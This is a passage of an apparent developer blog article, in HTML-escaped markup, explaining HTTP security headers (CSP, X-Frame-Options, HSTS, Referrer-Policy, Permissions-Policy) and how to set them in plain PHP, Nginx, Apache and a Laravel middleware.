&lt;code&gt;script-src 'self'&lt;/code&gt; — only execute scripts from your own domain&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;style-src 'self'&lt;/code&gt; — only allow stylesheets from your own domain&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;img-src 'self' data:&lt;/code&gt; — allow images from your domain and data URIs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;base-uri 'self'&lt;/code&gt; — prevent attackers from injecting a base tag that redirects relative URLs&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;form-action 'self'&lt;/code&gt; — prevent forms from submitting to external domains&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;object-src 'none'&lt;/code&gt; — block plugins entirely&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;frame-ancestors 'none'&lt;/code&gt; — prevent your page from being embedded in iframes anywhere&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Avoid &lt;code&gt;'unsafe-inline'&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You will see many CSP examples that include &lt;code&gt;'unsafe-inline'&lt;/code&gt; for scripts or styles. Avoid it where practical — it allows inline scripts and styles to execute, significantly weakening XSS protection. Use nonces or hashes for inline scripts instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;script-src 'self' 'nonce-{random-value}'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;nonce=&lt;/span&gt;&lt;span class="s"&gt;"abc123def456"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="c1"&gt;// inline script here&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;frame-ancestors&lt;/code&gt; versus &lt;code&gt;frame-src&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;frame-ancestors 'none'&lt;/code&gt; — controls who can embed your page in an iframe (prevents clickjacking)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;frame-src 'none'&lt;/code&gt; — controls what iframes your page is allowed to load&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Set both if your application neither embeds external content nor should be embeddable itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start with report-only mode:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Security-Policy-Report-Only: default-src 'self'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This logs violations without blocking anything letting you see what would break before enforcement begins. CSP is hard to get right because every third-party resource needs explicit allowance.&lt;/p&gt;

&lt;h2&gt;
  
  
  Header 2 — X-Frame-Options
&lt;/h2&gt;

&lt;p&gt;Prevents your page from being embedded inside an iframe on another domain. Without it an attacker can overlay your application inside a transparent iframe and trick users into clicking buttons they cannot see clickjacking.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;X-Frame-Options: DENY
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or to allow embedding only from your own domain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;X-Frame-Options: SAMEORIGIN
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;frame-ancestors&lt;/code&gt; directive in CSP is the modern replacement. Keep &lt;code&gt;X-Frame-Options&lt;/code&gt; for older browser compatibility. Note it is primarily relevant for responses rendered as documents not API responses or redirects.&lt;/p&gt;

&lt;h2&gt;
  
  
  Header 3 — X-Content-Type-Options
&lt;/h2&gt;

&lt;p&gt;Stops browsers from guessing the content type of a response a behavior called MIME sniffing.&lt;/p&gt;

&lt;p&gt;Without this a browser might look at a response body and decide it looks like JavaScript even if the server sent it as &lt;code&gt;text/plain&lt;/code&gt;. An attacker who can upload a file can exploit MIME sniffing to execute scripts by making the browser misidentify the file type.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;X-Content-Type-Options: nosniff
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trust the &lt;code&gt;Content-Type&lt;/code&gt; header the server sent. Do not guess.&lt;/p&gt;

&lt;h2&gt;
  
  
  Header 4 — Strict-Transport-Security
&lt;/h2&gt;

&lt;p&gt;HSTS tells the browser to only ever connect to your domain over HTTPS even if the user types &lt;code&gt;http://&lt;/code&gt; or clicks an HTTP link.&lt;/p&gt;

&lt;p&gt;Without HSTS an attacker performing a man-in-the-middle attack can intercept the initial HTTP request before it redirects to HTTPS stealing cookies and session data before encryption begins.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Strict-Transport-Security: max-age=31536000; includeSubDomains
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;max-age=31536000&lt;/code&gt; — remember this rule for one year&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;includeSubDomains&lt;/code&gt; — apply to all subdomains too&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Critical:&lt;/strong&gt; your application must already be correctly configured for HTTPS before enabling HSTS. Setting it on a domain with any HTTP content will break those pages for up to one year.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;About &lt;code&gt;preload&lt;/code&gt;:&lt;/strong&gt; adding &lt;code&gt;preload&lt;/code&gt; submits your domain to browser preload lists even the very first connection is forced to HTTPS before the browser has ever received an HSTS header from your server. This is difficult to reverse. Treat it as an intentional deployment decision requiring careful planning not simply another flag to copy and paste.&lt;/p&gt;

&lt;h2&gt;
  
  
  Header 5 — Referrer-Policy
&lt;/h2&gt;

&lt;p&gt;When a user clicks a link from your application to an external site the browser sends a &lt;code&gt;Referer&lt;/code&gt; header containing the URL they came from. This can leak sensitive information — user IDs, session tokens, or private page paths in your URLs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Referrer-Policy: strict-origin-when-cross-origin
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sends the full URL for same-origin requests but only the origin not the full path for cross-origin requests. Sensitive URL parameters do not leak to external sites.&lt;/p&gt;

&lt;p&gt;Other useful values:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;no-referrer&lt;/code&gt; — never send any referrer information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;same-origin&lt;/code&gt; — only send referrer for same-origin requests&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;strict-origin&lt;/code&gt; — only send the origin, never the full URL&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Header 6 — Permissions-Policy
&lt;/h2&gt;

&lt;p&gt;Controls which browser APIs your application is allowed to access. Disable features you do not need to reduce the attack surface if your application is ever compromised through another vulnerability.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Empty parentheses &lt;code&gt;()&lt;/code&gt; disable the feature entirely. Allow what you need explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Permissions-Policy does not replace application authorization. If your application must prevent a user from accessing a feature the server must still enforce that. Permissions-Policy is defense in depth it reduces browser-level capability but cannot substitute for server-side access control.&lt;/p&gt;

&lt;h2&gt;
  
  
  Header 7 — What Happened to X-XSS-Protection?
&lt;/h2&gt;

&lt;p&gt;You may still see &lt;code&gt;X-XSS-Protection: 1; mode=block&lt;/code&gt; in older tutorials. Do not copy it blindly.&lt;/p&gt;

&lt;p&gt;The header was designed for browser XSS filters that modern browsers have largely removed. It is deprecated, has limited support in modern browsers, and can introduce security problems. OWASP and MDN both recommend against using it as a modern XSS defense.&lt;/p&gt;

&lt;p&gt;Your primary XSS defenses should be proper output encoding covered in &lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;article 5&lt;/a&gt; and a well-designed Content Security Policy. If you inherit an application sending this header review whether it should be removed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation in Plain PHP
&lt;/h2&gt;

&lt;p&gt;Add security headers early in your request lifecycle  before any output is sent&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;setSecurityHeaders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;array&lt;/span&gt; &lt;span class="nv"&gt;$options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$csp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'csp'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="nb"&gt;implode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'; '&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s2"&gt;"default-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"script-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"style-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"img-src 'self' data:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"font-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"base-uri 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"form-action 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"object-src 'none'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s2"&gt;"frame-ancestors 'none'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;

    &lt;span class="nv"&gt;$enableHsts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'hsts'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Frame-Options: DENY'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Content-Type-Options: nosniff'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Referrer-Policy: strict-origin-when-cross-origin'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Content-Security-Policy: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$csp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$enableHsts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Strict-Transport-Security: max-age=31536000; includeSubDomains'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;HSTS is disabled by default — enable it only after confirming your entire domain is served over HTTPS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In a bootstrap file:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="s1"&gt;'vendor/autoload.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nf"&gt;setSecurityHeaders&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'hsts'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="c1"&gt;// only if fully HTTPS&lt;/span&gt;

&lt;span class="nb"&gt;session_set_cookie_params&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="s1"&gt;'secure'&lt;/span&gt;   &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'httponly'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'samesite'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Lax'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nb"&gt;session_start&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;At the web server level — Nginx:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nginx"&gt;&lt;code&gt;&lt;span class="k"&gt;server&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kn"&gt;add_header&lt;/span&gt; &lt;span class="s"&gt;X-Frame-Options&lt;/span&gt; &lt;span class="s"&gt;"DENY"&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;add_header&lt;/span&gt; &lt;span class="s"&gt;X-Content-Type-Options&lt;/span&gt; &lt;span class="s"&gt;"nosniff"&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;add_header&lt;/span&gt; &lt;span class="s"&gt;Referrer-Policy&lt;/span&gt; &lt;span class="s"&gt;"strict-origin-when-cross-origin"&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;add_header&lt;/span&gt; &lt;span class="s"&gt;Permissions-Policy&lt;/span&gt; &lt;span class="s"&gt;"camera=(),&lt;/span&gt; &lt;span class="s"&gt;microphone=(),&lt;/span&gt; &lt;span class="s"&gt;geolocation=(),&lt;/span&gt; &lt;span class="s"&gt;payment=()"&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;add_header&lt;/span&gt; &lt;span class="s"&gt;Strict-Transport-Security&lt;/span&gt; &lt;span class="s"&gt;"max-age=31536000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;includeSubDomains"&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kn"&gt;add_header&lt;/span&gt; &lt;span class="s"&gt;Content-Security-Policy&lt;/span&gt; &lt;span class="s"&gt;"default-src&lt;/span&gt; &lt;span class="s"&gt;'self'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;script-src&lt;/span&gt; &lt;span class="s"&gt;'self'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;style-src&lt;/span&gt; &lt;span class="s"&gt;'self'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;img-src&lt;/span&gt; &lt;span class="s"&gt;'self'&lt;/span&gt; &lt;span class="s"&gt;data:&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;font-src&lt;/span&gt; &lt;span class="s"&gt;'self'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;base-uri&lt;/span&gt; &lt;span class="s"&gt;'self'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;form-action&lt;/span&gt; &lt;span class="s"&gt;'self'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;object-src&lt;/span&gt; &lt;span class="s"&gt;'none'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="kn"&gt;frame-ancestors&lt;/span&gt; &lt;span class="s"&gt;'none'"&lt;/span&gt; &lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Apache:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="sr"&gt; mod_headers.c&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; X-Frame-Options "DENY"
    &lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; X-Content-Type-Options "nosniff"
    &lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; Referrer-Policy "strict-origin-when-cross-origin"
    &lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()"
    &lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; Strict-Transport-Security "max-age=31536000; includeSubDomains"
    &lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; base-uri 'self'; form-action 'self'; object-src 'none'; frame-ancestors 'none'"
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Web server configuration is the most reliable approach for legacy PHP applications without a central request entry point.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementation in Laravel
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Create the middleware:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;php artisan make:middleware SecurityHeaders
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kn"&gt;namespace&lt;/span&gt; &lt;span class="nn"&gt;App\Http\Middleware&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Closure&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Http\Request&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Symfony\Component\HttpFoundation\Response&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SecurityHeaders&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Request&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;Closure&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;Response&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Frame-Options'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'DENY'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Content-Type-Options'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'nosniff'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Referrer-Policy'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'strict-origin-when-cross-origin'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Permissions-Policy'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'camera=(), microphone=(), geolocation=(), payment=()'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Strict-Transport-Security'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'max-age=31536000; includeSubDomains'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="s1"&gt;'Content-Security-Policy'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'security.csp'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;implode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'; '&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
                &lt;span class="s2"&gt;"default-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"script-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"style-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"img-src 'self' data:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"font-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"base-uri 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"form-action 'self'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"object-src 'none'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s2"&gt;"frame-ancestors 'none'"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;]))&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
